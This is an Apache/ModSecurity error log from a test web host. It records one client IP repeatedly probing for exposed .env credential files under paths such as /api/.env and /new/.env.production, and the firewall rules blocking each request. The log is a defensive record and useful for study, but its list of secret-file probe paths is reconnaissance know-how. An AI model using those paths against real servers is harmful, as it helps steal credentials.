[Sat Feb 28 14:48:15.577165 2026] [:error] [pid 2385359] [client 45.148.10.160:47716] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aaLyH5v7nx7Xa6lKYweQAAAAAAw"]
[Sat Feb 28 14:48:39.681655 2026] [:error] [pid 2378306] [client 45.148.10.160:43020] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /portal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/portal/.env"] [unique_id "aaLyNxtCtP4omYNsoH8jFQAAAAM"]
[Sat Feb 28 14:48:39.681910 2026] [:error] [pid 2378306] [client 45.148.10.160:43020] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/portal/.env"] [unique_id "aaLyNxtCtP4omYNsoH8jFQAAAAM"]
[Sat Feb 28 14:48:39.682066 2026] [:error] [pid 2378306] [client 45.148.10.160:43020] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/portal/.env"] [unique_id "aaLyNxtCtP4omYNsoH8jFQAAAAM"]
[Sat Feb 28 14:48:39.773706 2026] [:error] [pid 2383930] [client 45.148.10.160:43024] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /env/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "aaLyN8iqy3jYVmgj06ziAQAAAAg"]
[Sat Feb 28 14:48:39.773924 2026] [:error] [pid 2383930] [client 45.148.10.160:43024] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "aaLyN8iqy3jYVmgj06ziAQAAAAg"]
[Sat Feb 28 14:48:39.774078 2026] [:error] [pid 2383930] [client 45.148.10.160:43024] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "aaLyN8iqy3jYVmgj06ziAQAAAAg"]
[Sat Feb 28 14:48:47.197732 2026] [:error] [pid 2378303] [client 45.148.10.160:58660] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /env/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "aaLyP4LaDfxPhnt6lEEyjgAAAAA"]
[Sat Feb 28 14:48:47.197967 2026] [:error] [pid 2378303] [client 45.148.10.160:58660] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "aaLyP4LaDfxPhnt6lEEyjgAAAAA"]
[Sat Feb 28 14:48:47.198132 2026] [:error] [pid 2378303] [client 45.148.10.160:58660] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "aaLyP4LaDfxPhnt6lEEyjgAAAAA"]
[Sat Feb 28 14:48:54.081294 2026] [:error] [pid 2378750] [client 45.148.10.160:37838] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /env/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "aaLyRlDtYup7T8W3YuDExgAAAAY"]
[Sat Feb 28 14:48:54.081552 2026] [:error] [pid 2378750] [client 45.148.10.160:37838] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "aaLyRlDtYup7T8W3YuDExgAAAAY"]
[Sat Feb 28 14:48:54.081734 2026] [:error] [pid 2378750] [client 45.148.10.160:37838] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "aaLyRlDtYup7T8W3YuDExgAAAAY"]
[Sat Feb 28 14:49:01.955970 2026] [:error] [pid 2378318] [client 45.148.10.160:55034] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aaLyTRYIv2evGOJNoLZOLwAAAAU"]
[Sat Feb 28 14:49:01.956217 2026] [:error] [pid 2378318] [client 45.148.10.160:55034] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aaLyTRYIv2evGOJNoLZOLwAAAAU"]
[Sat Feb 28 14:49:01.956382 2026] [:error] [pid 2378318] [client 45.148.10.160:55034] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aaLyTRYIv2evGOJNoLZOLwAAAAU"]
[Sat Feb 28 14:49:08.664339 2026] [authz_core:error] [pid 2383931] [client 45.148.10.160:55046] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env
[Sat Feb 28 14:49:17.221311 2026] [authz_core:error] [pid 2378306] [client 45.148.10.160:56608] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.env
[Sat Feb 28 14:49:20.105892 2026] [authz_core:error] [pid 2385358] [client 45.148.10.160:56616] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.env
[Sat Feb 28 14:49:20.143066 2026] [:error] [pid 2385358] [client 45.148.10.160:56616] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env"] [unique_id "aaLyYPCPVBGXaRUxF20XqwAAAAs"]
[Sat Feb 28 14:49:20.143324 2026] [:error] [pid 2385358] [client 45.148.10.160:56616] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env"] [unique_id "aaLyYPCPVBGXaRUxF20XqwAAAAs"]
[Sat Feb 28 14:49:20.143555 2026] [:error] [pid 2385358] [client 45.148.10.160:56616] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env"] [unique_id "aaLyYPCPVBGXaRUxF20XqwAAAAs"]
[Sat Feb 28 14:49:20.197633 2026] [:error] [pid 2385358] [client 45.148.10.160:56616] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.local"] [unique_id "aaLyYPCPVBGXaRUxF20XrAAAAAs"]
[Sat Feb 28 14:49:20.197992 2026] [:error] [pid 2385358] [client 45.148.10.160:56616] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.local"] [unique_id "aaLyYPCPVBGXaRUxF20XrAAAAAs"]
[Sat Feb 28 14:49:20.198253 2026] [:error] [pid 2385358] [client 45.148.10.160:56616] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.local"] [unique_id "aaLyYPCPVBGXaRUxF20XrAAAAAs"]
[Sat Feb 28 14:49:20.236945 2026] [:error] [pid 2385358] [client 45.148.10.160:56616] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.production"] [unique_id "aaLyYPCPVBGXaRUxF20XrQAAAAs"]
[Sat Feb 28 14:49:20.237180 2026] [:error] [pid 2385358] [client 45.148.10.160:56616] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.production"] [unique_id "aaLyYPCPVBGXaRUxF20XrQAAAAs"]
[Sat Feb 28 14:49:20.237360 2026] [:error] [pid 2385358] [client 45.148.10.160:56616] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.production"] [unique_id "aaLyYPCPVBGXaRUxF20XrQAAAAs"]
[Sat Feb 28 14:49:20.413596 2026] [:error] [pid 2378303] [client 45.148.10.160:56624] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.staging"] [unique_id "aaLyYILaDfxPhnt6lEEyjwAAAAA"]
[Sat Feb 28 14:49:20.413815 2026] [:error] [pid 2378303] [client 45.148.10.160:56624] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.staging"] [unique_id "aaLyYILaDfxPhnt6lEEyjwAAAAA"]
[Sat Feb 28 14:49:20.413977 2026] [:error] [pid 2378303] [client 45.148.10.160:56624] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.staging"] [unique_id "aaLyYILaDfxPhnt6lEEyjwAAAAA"]
[Sat Feb 28 14:49:29.923222 2026] [:error] [pid 2385359] [client 45.148.10.160:44080] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /awstats/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/awstats/.env"] [unique_id "aaLyaZv7nx7Xa6lKYweQAwAAAAw"]
[Sat Feb 28 14:49:29.923450 2026] [:error] [pid 2385359] [client 45.148.10.160:44080] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/awstats/.env"] [unique_id "aaLyaZv7nx7Xa6lKYweQAwAAAAw"]
[Sat Feb 28 14:49:29.923614 2026] [:error] [pid 2385359] [client 45.148.10.160:44080] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/awstats/.env"] [unique_id "aaLyaZv7nx7Xa6lKYweQAwAAAAw"]
[Sat Feb 28 14:49:29.964574 2026] [:error] [pid 2385359] [client 45.148.10.160:44080] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /conf/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/conf/.env"] [unique_id "aaLyaZv7nx7Xa6lKYweQBAAAAAw"]
[Sat Feb 28 14:49:29.964792 2026] [:error] [pid 2385359] [client 45.148.10.160:44080] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/conf/.env"] [unique_id "aaLyaZv7nx7Xa6lKYweQBAAAAAw"]
[Sat Feb 28 14:49:29.964962 2026] [:error] [pid 2385359] [client 45.148.10.160:44080] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/conf/.env"] [unique_id "aaLyaZv7nx7Xa6lKYweQBAAAAAw"]
[Sat Feb 28 14:49:30.011102 2026] [:error] [pid 2385359] [client 45.148.10.160:44080] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cron/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "aaLyapv7nx7Xa6lKYweQBQAAAAw"]
[Sat Feb 28 14:49:30.011317 2026] [:error] [pid 2385359] [client 45.148.10.160:44080] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "aaLyapv7nx7Xa6lKYweQBQAAAAw"]
[Sat Feb 28 14:49:30.011491 2026] [:error] [pid 2385359] [client 45.148.10.160:44080] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "aaLyapv7nx7Xa6lKYweQBQAAAAw"]
[Sat Feb 28 14:49:30.052091 2026] [:error] [pid 2385359] [client 45.148.10.160:44080] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.env"] [unique_id "aaLyapv7nx7Xa6lKYweQBgAAAAw"]
[Sat Feb 28 14:49:30.052317 2026] [:error] [pid 2385359] [client 45.148.10.160:44080] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.env"] [unique_id "aaLyapv7nx7Xa6lKYweQBgAAAAw"]
